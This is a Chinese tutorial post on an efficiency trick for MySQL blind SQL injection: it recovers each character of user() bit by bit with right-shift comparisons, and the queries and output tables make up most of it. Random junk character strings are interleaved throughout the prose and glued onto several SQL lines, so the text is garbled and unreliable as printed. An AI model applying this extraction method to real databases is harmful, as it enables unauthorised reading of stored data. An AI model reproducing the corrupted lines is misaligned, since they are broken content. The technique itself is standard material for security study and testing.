关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
/ C8 |: n% g9 `; N7 K

( @) r8 O% `; d! _5 i% I$ p
下面将以查询mysql数据库当中user()的第一位为例:


, @# E* ?$ b0 t5 D
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

: z2 C* k0 O& O- m
3 O, S6 B- R. a2 t
首先执行如下sql语句:

5 O$ w" \7 H) E
! {+ ]; `4 F* C, ?1 d( U5 b4 O
, y  c, y. @& O9 D; z# C$ P/ \$ Tmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
6 o% }- P0 Z  m0 i. Z1 [0 g


我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
, V3 P- h. v* L* _
; i1 l7 i: S0 @

第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
$ ]2 Y, k5 u" X& q& g6 u6 a: g( V

  R: T! i+ u* l$ W
如果运算结果为1,说明第一位为0,不为1

% Z7 L: G+ X0 g) M, u; Z
6 v) s8 Q' N% l4 U4 e7 j9 Z0 O
+————————————–+
% n* l5 K8 o. u; x
8 L, v2 q4 N  p/ }| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

| 1 |
  S# u* {9 n, v# D) @6 J: {
+————————————–+
5 E! t6 t+ s0 ]8 ^
1 row in set (0.00 sec)
. u2 @$ X7 N6 `2 v# ?( p
这样我们就确定这个8bit的ascii的第一位为0
( d' o  V2 y9 k# u* O. M
' J, ]# J2 p0 o: u8 e  ]( V" e# _9 R
  g' ^" q, c1 b" k% R: `1 s, J) z
( v/ e- }; g9 g) _% r* ^第二次我们来做6次右偏移来确定前两位

# y6 e6 _$ T) ]1 d6 v- D
' H8 I( U  }6 a5 }, ?
6 M1 p& q3 o( m& e9 E! P1 w前两位可能是01或00,即依然可以与0做比较,

2 H% e- t- f0 u9 mmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
8 V& N0 ]- _/ t+ F+ r
+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
1 U- k9 {* u! C+ J) }
/ C* ?" Q* h% e1 F; l3 ~9 O+————————————–+

4 }( b; L2 q" c6 [1 V! w$ J| 0 |
6 f8 D; l# y7 M/ i! S9 \6 p/ k
+ \0 \% f) k; U$ z# Q6 B+————————————–+
# S7 \( z; g  z2 \: z
2 |5 Y. B5 C) |/ O& b" Q/ O1 row in set (0.00 sec)

1 Z% [6 O, W) p

6 a7 d" t, d/ h: n( y! d: k结果为0,即第二位为1
  C. B4 {- Q% H9 ?- _2 ], k


  w& w3 D0 g4 b: G+ n5 B开始猜测前三位为010或011

# O- N! E/ r% \. |

让我们看看010和011的ascii码是多少

" J5 o, A- ]5 Y8 Q' O. V$ y! k

2 v2 `8 z+ W+ P# b8 k" w分别查询select b’011′ select b’010′
$ b. I* j$ e6 v, A4 a! z  W

8 |; z$ A5 R4 R" O. k
获得结果 010 = 2 011 = 3
, T; ?+ M. m+ ?# `

, m2 ?  W1 s) w+ {# R# l- Z
4 R" z. j7 |& W' O# s执行如下sql:
' ?+ G9 y$ t: z6 P
6 w4 K1 s( a/ G

! \: P$ ^# P5 r2 J- smysql> select (ascii((substr(user(),1,1))) >> 5)=2;
$ [+ f9 L" D- `
+————————————–+
& z5 ]9 {8 p4 R+ _
| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+

8 Z: K" O6 S" H1 E3 x; c. V! {7 C| 0 |

+————————————–+

- g: @1 t* S" i8 v即前三位不为010,而是011

) G; V# i7 L9 U+ x) i' m$ G3 j
1 z$ Y% ^" l1 E4 v1 J
直到获得最后一位
, [/ @6 a3 k0 @9 |

, }$ c  ?$ d7 {. F8 G0 Q
最终结果为:01110010



, {, o* Q' ]/ X% ?9 U转换一下:

0 C3 J4 I* p" c

- l0 X; [. ~# Y2 T' @select b’01110010′
, u* F; n6 Z2 Y$ e/ l' b
1 I6 j) r1 j8 f2 y$ r" c6 z7 ]4 w5 O

查询结果


- n( k2 a8 m- F+ f. w! _, Z0 \- `- r
+————-+
8 t2 Z8 V) c# |" J; d: R7 [3 e5 x
3 c# u+ X# \0 B- m| b’01110010′ |

+————-+
4 \9 i8 T! z! ]! ?
| r |

+————-+
; a0 q. O1 O, A$ d" M/ Q
1 row in set (0.00 sec)
8 C0 K3 t) b! _- K4 C
6 K/ P. \% W0 B  U; \! N

这样我们就获得了user()的第一位.其它位依此类推
9 R$ N- ~4 G$ z+ q
( q1 i3 N7 s  z+ a. M